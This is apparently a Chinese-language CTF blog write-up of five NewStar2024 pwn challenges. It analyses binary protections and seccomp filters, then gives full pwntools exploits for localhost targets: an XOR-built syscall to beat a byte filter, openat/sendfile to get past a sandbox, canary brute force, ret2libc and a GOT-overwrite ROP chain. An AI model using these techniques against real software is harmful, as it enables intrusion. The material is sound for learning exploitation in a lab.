NewStar2024

【pwn】newstar2024 Bad Asm

考点

代码试图阻止用户使用syscallsysenter指令,但允许其他指令

看来是检查绕过方面的内容

分析

就一个文件,先看看护盾

IDA启动

“ERROR \\ Unavailable ! : syscall/sysenter/int 0x80”

过滤了syscall / sysenter / int 0x80 的汇编指令的机器码

使用mmap分配可执行内存,绕过了数据执行保护(DEP),使得shellcode能够执行

这是一个无限递归的strcpy实现,会导致栈溢出崩溃

接受一个函数指针 a1 和参数 a2,并使用多个零值参数调用该函数指针

exec(dest)dest的内容当作函数指针执行

方案:

1.read二次加载,分段执行

执行流程

  1. 恢复rsp,使其指向可读写内存区域
  2. 使用异或运算动态生成syscall指令(0x0f05)
  3. 将syscall写入shellcode末尾
  4. 调用read等待用户输入第二阶段shellcode
  5. 第二阶段shellcode直接包含execve(“/bin/sh”,0,0)

2.直接execve调用

3.栈上执行syscall

EXP

1.read二次加载,分段执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
from pwn import *

context.log_level = 'info'
context(arch='amd64', os='linux')

p = remote('127.0.0.1', 39273)

# 第一阶段shellcode:设置栈指针并准备read调用
stage1 = '''
mov rsp, rdi
mov rax, rdi
add sp, 0x0848

mov rsi, rdi
mov dx, 0x3fff

mov cx, 0x454f
xor cx, 0x4040
add al, 0x40
mov [rax], cx

xor rdi, rdi
xor rax, rax
'''

# 发送第一阶段shellcode,用nop填充到0x40字节
p.sendafter("Input your Code :", asm(stage1).ljust(0x40, b'\x90'))

# 第二阶段:发送真正的execve shellcode
# 0x42个'a'用于覆盖第一阶段shellcode和nop
payload = b'a' * 0x42 + asm(shellcraft.sh())
p.send(payload)

p.interactive()


success

2.直接execve调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']

p = remote('127.0.0.1', 39273)

shellcode='''
mov rsp, rdi
add sp, 0x0848 ; // 给rsp一个合法值,使程序能正常执行push/pop,同时增加0x848字节的栈空间,避免覆盖重要数据
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040
xor rsi, rdx
push rsi ; // 异或搓出来'/bin/sh\x00'(正好 8 字节,一个寄存器能存下) 并 push 到栈上面

mov ax, 0x454f ; // AX = 0x454f
xor ax, 0x4040 ; // 0x454f XOR 0x4040 = 0x050f
mov rsi, rdi ; // RSI = RDI
add sil, 0x40 ; // RSI 的低字节加 0x40
mov [rsi], ax ; // 搓出来 syscall 的机器码 0f 05 并且拼接到当前 shellcode 后面

mov rdi, rsp ; // 设置 rdi,指向之前 push 到栈上面的 '/bin/sh\x00'
xor rsi, rsi ; // rsi = 0
xor rdx, rdx ; // rdx = 0
xor rax, rax ; // rax = 0
mov al, 59 ; // syscall: execve
'''
p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90'))
p.interactive()

success

3.栈上执行syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context.log_level = 'info'
context(arch='amd64', os='linux')

p = remote('127.0.0.1', 39273)
shellcode = '''
mov rsp, rdi
add sp, 0x0848

; //构造"/bin///sh"字符串(用了三个斜杠,是为了对齐,避免空字节,多余的斜杠在Linux中不会影响执行)
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax

; //设置execve参数等效execve("/bin/sh", NULL, NULL)
mov rdi, rsp ; //文件名参数 -> "/bin///sh"
xor rsi, rsi ; //argv参数 -> NULL,在简单shellcode中通常设为NULL以减少复杂性
xor rdx, rdx ; //envp参数 -> NULL,在简单shellcode中通常设为NULL以减少复杂性
xor rax, rax
mov al, 59 ; //系统调用号 -> execve(59)

; //在栈上生成syscall指令
mov cx, 0xf5ff
xor cx, 0xf0f0
push rcx
jmp rsp
'''

# 直接发送shellcode,不需要nop填充
p.sendafter("Input your Code :", asm(shellcode))
p.interactive()


success

summary

开眼了,还能用动态构造的方式植入syscall指令

【pwn】newstar2024 Easy_Shellcode

考点

出题人给了点提示

“ 呐呐 ~ 雑魚哥哥不会这样就被小小沙箱捉弄的不会说话了吧 ♡ 真是弱哎 ♡~ ”

看来是sandbox方面的内容

分析

我管你这儿那的,先看看护盾😋

还行

IDA启动!

find “sandbox();”

点进去发现是好长一串,看来用IDA看这个不合适

1
2
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009

只允许 x86_64 架构的程序运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
# 禁止 execve (59/0x3b)

0005: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0007
0006: 0x06 0x00 0x00 0x00000000 return KILL
# 禁止 execveat (322/0x142)

0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
# 禁止 open (2)

0011: 0x15 0x00 0x01 0x000001b5 if (A != 437) goto 0013
0012: 0x06 0x00 0x00 0x00000000 return KILL
# 禁止系统调用 437 (可能是 tkill)

0013: 0x15 0x00 0x01 0x00000000 if (A != 0) goto 0015
0014: 0x06 0x00 0x00 0x00000000 return KILL
# 禁止 read (0)

0015: 0x15 0x00 0x01 0x00000013 if (A != 19) goto 0017
0016: 0x06 0x00 0x00 0x00000000 return KILL
# 禁止 readv (19)

0017: 0x15 0x00 0x01 0x00000127 if (A != 295) goto 0019
0018: 0x06 0x00 0x00 0x00000000 return KILL
# 禁止系统调用 295 (可能是 preadv)

0021: 0x15 0x00 0x01 0x00000011 if (A != 17) goto 0023
0022: 0x06 0x00 0x00 0x00000000 return KILL
# 禁止 pread64 (17)

0023: 0x15 0x00 0x01 0x00000001 if (A != 1) goto 0025
0024: 0x06 0x00 0x00 0x00000000 return KILL
# 禁止 write (1)

禁止传统文件操作open, read, write

禁止执行新程序execve, execveat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0009: 0x15 0x00 0x01 0x00000101  if (A != 257) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
# 允许 openat (257)

0019: 0x15 0x00 0x01 0x00000147 if (A != 327) goto 0021
0020: 0x06 0x00 0x00 0x7fff0000 return ALLOW
# 允许 preadv2 (327)

0025: 0x15 0x00 0x01 0x00000014 if (A != 20) goto 0027
0026: 0x06 0x00 0x00 0x7fff0000 return ALLOW
# 允许 writev (20)

0027: 0x06 0x00 0x00 0x7fff0000 return ALLOW
# 默认允许其他所有系统调用

可以使用 openat (257) 代替 open

可以使用 preadv2 (327) 代替read

可以使用 writev (20) 代替 wirte

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

from pwn import *

context(log_level='info', arch='amd64', os='linux')


p = remote('127.0.0.1', 37027)

shellcode = '''
/* 设置栈指针到安全区域 */
mov rsp, 0x4040c0
'''

# 使用 openat 打开 flag 文件
shellcode += shellcraft.openat(-100, "/flag", 0, 0)

# 使用 sendfile 将内容从文件描述符3传输到stdout
shellcode += shellcraft.sendfile(1, 3, 0, 0x100)


payload = asm(shellcode)
p.sendlineafter(b'Welcome to Shellcode World!', payload)

p.interactive()

success

summary

小小sandbox,不过如此

【pwn】newstar2024 ezcanary

考点

出题人曰:我开了那么多保护,一定很安全吧 ~

可能是绕过 Canary 保护方面的

卸甲!!!

分析

经典看看盾

1) 没有开启PIE(地址固定)2) 没有被Stripped(保留了符号)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
text:0000000000401236 ; __unwind {
.text:0000000000401236 endbr64
.text:000000000040123A push rbp
.text:000000000040123B mov rbp, rsp
.text:000000000040123E sub rsp, 10h
.text:0000000000401242 mov rax, fs:28h
.text:000000000040124B mov [rbp+var_8], rax
.text:000000000040124F xor eax, eax
.text:0000000000401251 lea rdi, command ; "/bin/sh"
.text:0000000000401258 call _system
.text:000000000040125D nop
.text:000000000040125E mov rax, [rbp+var_8]
.text:0000000000401262 xor rax, fs:28h
.text:000000000040126B jz short locret_401272
.text:000000000040126D call ___stack_chk_fail
.text:0000000000401272 ; ---------------------------------------------------------------------------
.text:0000000000401272
.text:0000000000401272 locret_401272: ; CODE XREF: getshell+35↑j
.text:0000000000401272 leave
.text:0000000000401273 retn
.text:0000000000401273 ; } // starts at 401236
.text:0000000000401273 getshell endp

有后门函数getshell

IDA启动

三个read经典栈溢出

程序执行流程:

  1. 设置保护:初始化栈金丝雀
  2. 进入循环
    • 子进程:显示提示 → 读取用户输入(存在溢出) → 退出
    • 父进程:等待子进程结束 → 读取用户输入 → 检查是否为"cat flag\n"
  3. 退出条件:只有当父进程收到"cat flag\n"时才退出循环
  4. 最终输出:打印"flag is one_by_one_bruteforce"

设计的目的:

  1. 制造一个“沙盒”环境:子进程成为了一个可以随意搞破坏的“试验场”。
  2. 利用独立性
    • 在子进程中进行栈溢出攻击,可能会破坏栈上的金丝雀值,导致子进程崩溃
    • 但由于父子进程内存独立,父进程中的金丝雀值依然是完好的
    • 子进程崩溃后,父进程通过 wait(0) 回收它,然后继续正常运行,进入下一次循环
  3. 为暴力破解创造条件:因为子进程每次都是“全新”的,并且崩溃了也没关系,攻击者可以一次又一次地尝试,比如一字节一字节地猜测金丝雀的值,直到子进程不崩溃,就意味着猜对了(用来隔离漏洞利用的副作用,使得攻击者可以在子进程中安全地进行试探和暴力破解,而不会影响主程序的稳定运行)

好吧,出了点小问题

本地测试通过了

切换到远程就变成这样了

方案:

爆破就对了

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#_*_ coding:utf-8 _*_
from pwn import *

elf = ELF("./ezcanary")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
#p = process([elf.path])
p = remote('127.0.0.1',40745)

# 直接爆破canary
can = b'\x00'
for i in range(7):
for j in range(256):
time.sleep(0.1)
payload1 = (0x60-8) * b'a' + can + p8(j)
p.sendafter('你觉得呢?\n', payload1)
info = p.recvuntil('\n')
if b"*** stack smashing detected ***" in info:
p.send('n\n')
continue
else:
can += p8(j)
break
if i != 6:
p.send('a\n')
else:
p.sendline('cat flag')

canary = u64(can)
print(f"Canary: {hex(canary)}")

getshell = 0x401251
payload2 = b"a" * (0x60-8) + p64(canary) + p64(0) + p64(getshell)
p.sendafter("bruteforce\n", payload2)
p.interactive()

本地运行没问题,远程环境就卡在第4个bt爆不出来

gdb调试一下

summary

就是靶场的问题

【pwn】newstar2024 ez_game

之前写过了,现在把md文件中的内容总结到语雀里

考点

ret2libc

分析

经典看看护盾😋

出题人曰:没有了后门也能打通吧

ida启动

确实没有后门

方案:

  1. 第一次溢出泄露 libc 地址
  2. 计算 system 和 /bin/sh 的真实地址
  3. 第二次溢出执行 system(“/bin/sh”) 获取 shell

信息搜集

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

flag = 0
if flag == 1:
p = remote('127.0.0.1', 34083)
else:
p = process('./attachment')

elf = ELF('./attachment')
libc = ELF("./libc-2.31.so")

# 获取必要的地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400686
pop_rdi = 0x400783
ret_addr = 0x400509

# 第一次溢出:泄露 puts 地址
payload = b'a' * 0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.recvuntil(b'Welcome to NewStarCTF!!!!\n')
p.send(payload)

# 接收泄露的地址
p.recvuntil(b'Try again!!\n')
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.info(f"Leaked puts address: {hex(puts_addr)}")

# 计算 libc 基地址
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.info(f"Libc base: {hex(libc_base)}")
log.info(f"System address: {hex(system_addr)}")
log.info(f"/bin/sh address: {hex(binsh_addr)}")

# 第二次溢出:调用 system("/bin/sh")
payload = b'a' * 0x58 + p64(pop_rdi) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr)
p.recvuntil(b'Welcome to NewStarCTF!!!!\n')
p.send(payload)

p.interactive()

???,怎么回事

可能是地址出错了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

flag = 1
if flag == 1:
p = remote('127.0.0.1', 34803)
else:
p = process('./attachment')

elf = ELF('./attachment')
libc = ELF("./libc-2.31.so")

# 获取必要的地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
pop_rdi = 0x400783
ret_addr = 0x400509

# 第一次溢出:泄露 puts 地址
payload = b'a' * 0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.recvuntil(b'Welcome to NewStarCTF!!!!\n')
p.send(payload)

# 接收泄露的地址
p.recvuntil(b'Try again!!\n')
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.info(f"Leaked puts address: {hex(puts_addr)}")

# 计算 libc 基地址
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.info(f"Libc base: {hex(libc_base)}")
log.info(f"System address: {hex(system_addr)}")
log.info(f"/bin/sh address: {hex(binsh_addr)}")

# 第二次溢出:调用 system("/bin/sh")
payload = b'a' * 0x58 + p64(pop_rdi) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr)
#p.recvuntil(b'Welcome to NewStarCTF!!!!\n')
p.send(payload)

p.interactive()

第二次溢出:调用 system(“/bin/sh”)

payload = b’a’ * 0x58 + p64(pop_rdi) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr)

#p.recvuntil(b’Welcome to NewStarCTF!!!!\n’)

p.send(payload)

第二次溢出中就不需要这个了‘p.recvuntil(b’Welcome to NewStarCTF!!!!\n’)’

success

summary

出题人和AI都不要信

【pwn】newstar2024 One Last B1te

考点

发现了sandbox和libc

GOT覆盖攻击?

出题人曰:3, 2, 1, GOT 1t !

分析

题目给了三个文件

经典看看护盾😋

RELRO (Relocation Read-Only)

部分RELRO保护,GOT表可写,存在GOT覆盖攻击的风险

  • Partial RELRO: GOT表仍可写,可通过漏洞覆盖GOT条目劫持控制流
  • Full RELRO: GOT表完全只读,但会增加程序启动时间

没有栈保护,易发生栈溢出


数据段不可执行,防止在栈或堆上执行shellcode


代码段地址固定,rop启动


SHSTK (Shadow Stack)

影子栈保护,用于控制流完整性


IBT (Indirect Branch Tracking)

间接分支跟踪,防止JOP/COP攻击

  • ROP: 利用已有的代码片段(gadget)构造攻击链
  • JOP/COP: 跳转导向/调用导向编程)

Stripped

符号表未剥离,便于调试和分析


总结:

可利用:

  • ❌** 无栈金丝雀 → 直接栈溢出**
  • ❌** 无PIE → 固定地址易于计算**
  • ⚠️** 部分RELRO → GOT可覆盖**

开的盾:

  • ✅** NX → 不能执行shellcode**
  • ✅** SHSTK → 返回地址保护**
  • ✅** IBT → 间接跳转保护**

存在延迟绑定 + GOT 表可写

看看sandbox

0005: 0x15 0x03 0x00 0x00000028 if (A == sendfile) goto 0009

0006: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0009

0007: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0009

这三个寄掉了qwq

0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009

确保只在 x86_64 架构上运行

0002: 0x20 0x00 0x00 0x00000000 A = sys_number

将当前系统调用号加载到累加器 A

  • 0x00000000 = 偏移量,获取系统调用号

0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005

0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009

如果系统调用号 < 0x40000000,跳转到 0005

如果系统调用号 ≠ -1 (0xffffffff),跳转到 0009 (KILL)

作用: 只允许普通系统调用或特殊的 -1 值

0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW

作用: 允许所有其他系统调用

看样子可以试试ORW (Open-Read-Write) 攻击

IDA启动

  1. 栈溢出: read(0, v5, 0x110u) 写入0x110字节到仅16字节的v5数组,可覆盖返回地址。
  2. 任意地址写: 通过read(0, &buf, 8u)控制buf指针,然后read(0, buf, 1u)向指定地址写入一个字节。
  3. seccomp规则: 禁止execveexecveat,但允许其他系统调用(如open、read、write)。
  4. 保护机制: 无PIE(地址固定)、无栈金丝雀,但启用了SHSTK和IBT,因此ROP链需跳转到以endbr64开头的地址。

看看libc版本

2.39

版本有点新

(ok,补了一些关于plt 和got表的知识,原理理解了)

层层传输说是

小小的gdb调试

然后用ROPgadget找找gadgets,

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

ELFpath = './pwn'
p=remote('localhost',44791)


close_got=0x404028
write_plt=0x4010c0

p.sendafter("Show me your UN-Lucky number :",p64(close_got))
p.sendafter("Try to hack your UN-Lucky number with one byte :",b'\xc0')
ret=0x0401447
main=0x4013a3
rubbish=0x404000+0x800
payload=b'a'*0x18+p64(ret)+p64(main)


p.send(payload)
p.recvuntil(b'a'*0x18)
p.recv(0xb8-0x18)
libc_base=u64(p.recv(6)+b'\x00\x00')-0x710b26c2a28b+0x710b26c00000

p.sendafter("Show me your UN-Lucky number :",p64(rubbish))

p.sendafter("Try to hack your UN-Lucky number with one byte :",b'\x70')

pop_rdi=libc_base+0x010f75b
pop_rsi=libc_base+0x110a4d
binsh=libc_base+0x1cb42f

xchg_edx_eax=libc_base+0x01a7f27

pop_rax=libc_base+0x0dd237

open_a=libc_base+0x011B120
read_a=libc_base+0x011BA50
mprotect=libc_base+0x00125C10

payload=b'a'*0x18+p64(pop_rdi)+p64(libc_base+0x202000)+p64(pop_rsi)+p64(0x2000)+p64(pop_rax)+p64(7)+p64(xchg_edx_eax)+p64(mprotect)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(libc_base+0x202000)+p64(pop_rax)+p64(0x1000)+p64(xchg_edx_eax)+p64(read_a)+p64(libc_base+0x202000)



p.send(payload)



shellcode=''
shellcode+=shellcraft.open('./flag',0,0)
shellcode+=shellcraft.read('rax',libc_base+0x202000+0x800,0x100)
shellcode+=shellcraft.write(2,libc_base+0x202000+0x800,'rax')
p.send(asm(shellcode))

p.interactive()

success

summary

接下来把之前的题复盘一遍


NewStar2024
https://ghostshark-pro.github.io/2026/04/23/NewStar2024/
Author
shark
Posted
2026年4月23日
License